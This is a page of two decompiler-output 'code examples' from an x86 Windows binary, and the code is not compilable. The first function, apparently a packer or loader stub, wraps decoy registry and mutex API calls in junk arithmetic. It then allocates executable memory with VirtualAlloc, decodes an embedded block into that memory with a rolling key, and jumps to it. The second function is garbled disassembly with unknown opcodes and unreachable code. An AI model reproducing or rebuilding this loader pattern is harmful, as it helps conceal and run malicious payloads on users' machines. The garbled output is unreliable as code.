コード例 #1
0
__entry_point__()
{
	/* unknown */ void  Vfffffd78;
	/* unknown */ void  Vfffffd7c;
	/* unknown */ void  Vfffffd80;
	/* unknown */ void  Vfffffdb0;
	/* unknown */ void  Vfffffdb4;
	/* unknown */ void  Vfffffdb8;
	/* unknown */ void  Vfffffdc8;
	/* unknown */ void  Vfffffdd4;
	/* unknown */ void  Vfffffddc;
	/* unknown */ void  Vfffffde0;
	/* unknown */ void  Vfffffde4;
	/* unknown */ void  Vfffffdf0;
	/* unknown */ void  Vfffffdfc;
	/* unknown */ void  Vfffffe00;
	/* unknown */ void  Vfffffe0c;
	/* unknown */ void  Vfffffe10;
	/* unknown */ void  Vfffffe30;
	/* unknown */ void  Vfffffe34;
	/* unknown */ void  Vfffffe38;
	/* unknown */ void  Vfffffe50;
	/* unknown */ void  Vfffffe54;
	/* unknown */ void  Vfffffe74;
	/* unknown */ void  Vfffffe80;
	/* unknown */ void  Vfffffe88;
	/* unknown */ void  Vfffffe90;
	/* unknown */ void  Vfffffe98;
	/* unknown */ void  Vfffffecc;
	/* unknown */ void  Vfffffee0;
	/* unknown */ void  Vfffffee8;
	/* unknown */ void  Vffffff00;
	/* unknown */ void  Vffffff04;
	/* unknown */ void  Vffffff0c;
	/* unknown */ void  Vffffff10;
	/* unknown */ void  Vffffff14;
	/* unknown */ void  Vffffff18;
	/* unknown */ void  Vffffff24;
	/* unknown */ void  Vffffff40;
	/* unknown */ void  Vffffff44;
	/* unknown */ void  Vffffff48;
	/* unknown */ void  Vffffff4c;
	/* unknown */ void  Vffffff54;
	/* unknown */ void  Vffffff58;
	/* unknown */ void  Vffffff60;
	/* unknown */ void  Vffffff64;
	/* unknown */ void  Vffffff68;
	/* unknown */ void  Vffffff6c;
	/* unknown */ void  Vffffff70;
	/* unknown */ void  Vffffff80;
	/* unknown */ void  Vffffff88;
	/* unknown */ void  Vffffff8c;
	/* unknown */ void  Vffffff90;
	/* unknown */ void  Vffffffa4;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;



    if(edx != 957) {
        eax = eax | edx;
        Vfffffd80 = Vfffffd80 | 34;
        edx = ebp;
    }
    (save)ebp;
    *esp = *esp - 252;
    (save)0;
    *__imp__GetCPInfo();
    *__imp__GetCurrentProcessId();
    *__imp__GetCurrentThreadId();
    ecx = ecx - edx;
    if(edx == 648) {
        edx = ebp;
        ecx = ecx - 10985;
        ecx = ebp;
        edx = (edx | *(ecx + 16)) & *(ecx + 11) | *(ecx + 7);
        asm("adc edx,eax");
    }
    (save)2;
    (save)ebp;
    *esp = *esp - 200;
    (save) & Vffffff90;
    (save)ebp;
    *esp = *esp - 136;
    (save)ebp;
    *esp = *esp - 92;
    esp = esp - 4;
    *esp = 0;
    (save)18;
    (save)ebp;
    *esp = *esp - 88;
    *__imp__RegEnumKeyExA();
    Vfffffecc = Vfffffecc ^ 91;
    (save)ebp;
    *esp = *esp - 108;
    esp = esp - 4;
    *esp = 0;
    (save)21;
    *__imp__OpenMutexA();
    (save)0;
    (save) & Vffffff88;
    (save)ebp;
    *esp = *esp - 160;
    (save) & Vffffff60;
    (save) & Vffffff44;
    (save)23;
    (save)8;
    (save)ebp;
    *esp = *esp - 164;
    eax = *__imp__RegEnumValueW() & Vffffffb4;
    eax = ebp;
    (save)ebp;
    *esp = *esp - 124;
    (save)0;
    (save)0;
    eax = *__imp__OpenEventA() + 8722;
    Vfffffe0c = Vfffffe0c + 18;
    (save)18;
    (save)19;
    (save)ebp;
    *esp = *esp - 88;
    *__imp__InitializeAcl();
    ecx = ecx - Vffffff00;
    edx = & Vffffff4c;
    if(ecx != 902) {
        asm("adc ecx,eax");
        Vfffffdc8 = Vfffffdc8 & 84;
        edx = edx - 6671;
        ecx = ecx | 12277;
        edx = edx ^ 5653;
        Vffffff6c = Vffffff6c + 21;
    }
    (save)0;
    *__imp__malloc();
    (restore)eax;
    ecx = ecx & Vfffffe54;
    edx = ebp & Vfffffe30;
    eax = *__imp__GetOEMCP();
    edx = edx - 2449;
    asm("sbb edx,eax");
    if((ecx & eax) == 804) {
        Vfffffddc = Vfffffddc - 25;
        edx = edx | 12626;
        asm("sbb ecx,eax");
        eax = eax | edx;
    }
    (save)20;
    (save)ebp;
    *esp = *esp - 168;
    (save) & Vffffff58;
    (save)ebp;
    *esp = *esp - 164;
    (save) & Vffffffac;
    (save)0;
    (save)0;
    (save)ebp;
    *esp = *esp - 120;
    eax = *__imp__RegEnumKeyExA();
    (save)2;
    if((ecx & eax | edx) != 135) {
        edx = edx + (eax | edx);
        eax = ebp;
        edx = ebp;
    }
    Vfffffe90 = Vfffffe90 & edx;
    edx = ebp;
    ecx = ecx + *(edx + 9) & *(edx + 11);
    eax = *__imp____set_app_type() ^ *(edx + 6);
    (restore)ecx;
    eax :: 0;
    eax = eax + 2145 | 16327;
    (save) & Vffffff44;
    esp = esp - 4;
    *esp = 0;
    (save)0;
    *__imp__OpenMutexA();
    (save) & Vffffff80;
    (save)ebp;
    *esp = *esp - 208;
    (save) & Vffffff8c;
    *__imp__RegOpenKeyA();
    edx :: 0;
    edx = edx + 13496;
    (save)ebp;
    *esp = *esp - 212;
    (save)0;
    eax = *__imp__GetCPInfo();
    if(ecx == 767) {
        ecx = ebp;
        eax = eax + *(ecx + 9);
        edx = edx - *(ecx + 4);
        eax = eax - *ecx;
        ecx = & Vfffffe80;
        eax = eax + *(ecx + 11);
        asm("adc eax,ecx");
        ecx = ecx | eax;
    }
    (save)0;
    (save)ebp;
    *esp = *esp - 100;
    (save)10;
    (save) & Vffffff40;
    *__imp__RegEnumKeyA();
    Vfffffe88 = Vfffffe88 ^ 115;
    asm("adc eax,eax");
    *__imp__GetOEMCP();
    Vffffff64 = Vffffff64 ^ 51;
    ecx = ecx | edx;
    if(!(Vfffffde0 & ecx)) {
        eax = ebp;
        edx = edx & *(eax + 1);
        ecx = ecx + *(eax + 4) - *(eax + 13);
        edx = & Vfffffe00;
        eax = (eax & *(edx + 12)) - *(edx + 6) & Vfffffee0;
        edx = edx + 8019;
        eax = eax ^ Vfffffe74;
        asm("adc edx,ecx");
    }
    (save)10;
    (save) & Vffffff8c;
    (save)0;
    (save) & Vffffff14;
    eax = *__imp__RegEnumKeyA() - *( & Vfffffd7c + 9);
    edx = edx ^ 16080;
    (save)ebp;
    *esp = *esp - 140;
    esp = esp - 4;
    *esp = 0;
    (save)10;
    eax = *__imp__OpenMutexA();
    Vffffffe8 = Vffffffe8 | 163;
    if(eax == 0) {
        Vffffffd4 = Vffffffd4 - 163;
        eax = eax | 4735;
        ecx = (ecx - 14793 | Vffffff70) ^ 5730;
    }
    (save)ebp;
    *esp = *esp - 196;
    (save)ebp;
    *esp = *esp - 184;
    (save) & Vffffff18;
    *__imp__RegOpenKeyA();
    if(ecx != 0) {
        edx = edx + *(ebp + 14);
        Vffffffe4 = Vffffffe4 ^ 66;
        Vffffffdc = Vffffffdc + 212;
    }
    (save)0;
    Vffffff04 = Vffffff04 + 22;
    (save)0;
    eax = ( *__imp__GetLastError() | 8916) + edx;
    (save)0;
    eax = eax ^ 12396;
    eax = *__imp__CreateItemMoniker() ^ -2147024809;
    if(!(ecx = ecx | 12396)) {
        eax = & Vffffff0c;
        edx = edx - *(eax + 1) ^ *(eax + 10);
        eax = eax - 2646;
        edx = edx & eax;
        edx = ebp;
        ecx = ecx | *(edx + 14);
        asm("pusha");
        if(ecx != 219) {
            edx = & Vffffff4c;
            eax = eax + *(edx + 6) | *(edx + 15) | *(edx + 7);
            edx = (edx | 15447) ^ Vffffff14;
            Vffffffb4 = Vffffffb4 | edx;
            ecx = & Vfffffe10;
            eax = eax | *(ecx + 5);
        }
        (save)64;
        edx = edx | Vffffffcc;
        edx = & Vfffffdfc;
        ecx = ecx & *(edx + 14);
        eax = eax + *(edx + 15);
        ecx = ecx & *(edx + 9);
        (save)4096;
        (save)12288;
        (save)0;
        eax = (eax & ecx) + ecx;
        Vfffffd7c = Vfffffd7c & 228;
        Vfffffdb0 = *__imp__VirtualAlloc();
        ecx = ebp;
        Vffffffe4 = Vffffffe4 + (edx & *(ecx + 5)) - *(ecx + 13);
        eax = & Vfffffe30;
        ebx = ebx + *(eax + 7);
        ecx = (ecx | *(eax + 8)) ^ *(eax + 7);
        edx = 0x40a55c;
        Vffffff24 = Vffffff24 | 95;
        asm("sbb ecx,eax");
        Vffffff48 = Vffffff48 | 159;
        esi = Vfffffdb0;
        Vffffff0c = Vffffff0c - 187;
        eax = & Vfffffdc8;
        ecx = ecx + *(eax + 1);
        Vfffffdd4 = 1839877483;
        eax = eax | 13564;
        ecx :: 0;
        if(eax == Vfffffdb8) {
            ecx = ecx & eax;
            ecx = & Vfffffe74;
            ebx = ebx - ecx;
            ecx = ecx ^ 782;
        }
        do {
            ebx = ebx - 12502;
            edi = *edx + Vfffffdd4;
            ebx = & Vffffff54;
            Vfffffdd4 = Vfffffdd4 + -581846881;
            *esi = edi;
            Vffffffb0 = Vffffffb0 + 47;
            if(ecx != ebx) {
                Vfffffee8 = Vfffffee8 | 155;
                Vfffffe50 = Vfffffe50 ^ 199;
            }
            edx = edx + -810971396;
            asm("adc ebx,ecx");
            eax = ebp;
            ecx = (ecx | *(eax + 16)) + *(eax + 16) ^ *(eax + 2);
            esi = esi + 1332391190;
            ecx = ecx + 3751;
            edx = edx + 810971400;
            Vffffffa4 = Vffffffa4 - 179;
            Vfffffe00 = Vfffffe00 ^ 179;
            if(ebx == 581) {
                eax = eax + 8372 & 1705;
                Vfffffdf0 = Vfffffdf0 ^ 192;
                Vfffffdb4 = Vfffffdb4 & 103;
            }
            esi = esi + -1332391186;
            ecx = ecx ^ 9063;
        } while(edx != 0x40b5ac);
        ecx = ecx & eax;
        if(Vffffff68 == eax) {
            ecx = ecx + ecx;
            ecx = & Vfffffd78;
            eax = eax & *(ecx + 2);
            ebx = ebx & *(ecx + 2);
            Vfffffe98 = Vfffffe98 | 38;
        }
        ecx = ecx & 13094;
        eax = Vfffffdb0();
        asm("adc ecx,ebx");
        ecx = ecx - ebx;
        Vfffffde4 = Vfffffde4 & ebx;
        if(ebx == ecx) {
            Vfffffe38 = Vfffffe38 | 208;
            ecx = & Vffffff48;
            ebx = ebx & *(ecx + 9);
            eax = eax | *(ecx + 16);
            Vfffffe34 = Vfffffe34 + ecx;
            ebx = ebx ^ *(ecx + 8) ^ Vffffff10;
            ecx = ecx - 10502;
        }
    }
コード例 #2
0
L00401217()
{



    if(eax == 0) {
        eax = *__imp__GetLastError();
    }
    return;
    (save) *(ebp - 32);
    edi = *(ebp - 8);
    esi = 4976;
L0040122d:
    *(ebp - 20) = edi + esi;
    (save) *(ebp + -412);
    edi = *(ebp - 16);
L00401240:
    (save)edx;
    (save) *(ebp - 20);
    (save)2752;
    (save) *(ebp - 20);
    return;
    (restore)ebx;
    (save)208;
    return;
    eax = L00401028();
    asm("fist dword [ecx]");
L00401260:
    if(edx = *(ebp - 8) + *(edi + 4)) {
        goto L00401240;
    }
    asm("Unknown opcode 0xdd");
    *edi = al;
    edi = edi + 1;
    asm("xchg dl,[ecx]");
    ch = ecx + *(esi + 2039665425) ^ ah;
    asm("in eax,0xe3");
    es = *(esi + 1381126738);
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    asm("fist dword [ecx]");
    if(eax = eax - 1) {
        goto L00401260;
    }
    asm("fcom qword [ecx]");
    ecx = ecx + *(esi + 294845201);
    asm("rcl dword [esi+0xe5e42a79],cl");
    asm("adc [ebx-0x1d],ebp");
    asm("xchg eax,edx");
    asm("xchg dl,[edx+0x52]");
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    (save)edx;
    asm("adc [ebp+0xe37211db],eax");
    if(eax = eax - 1) {
        goto L0040122d;
    }
    asm("fist dword [ecx]");
    < ? L00401288 : ;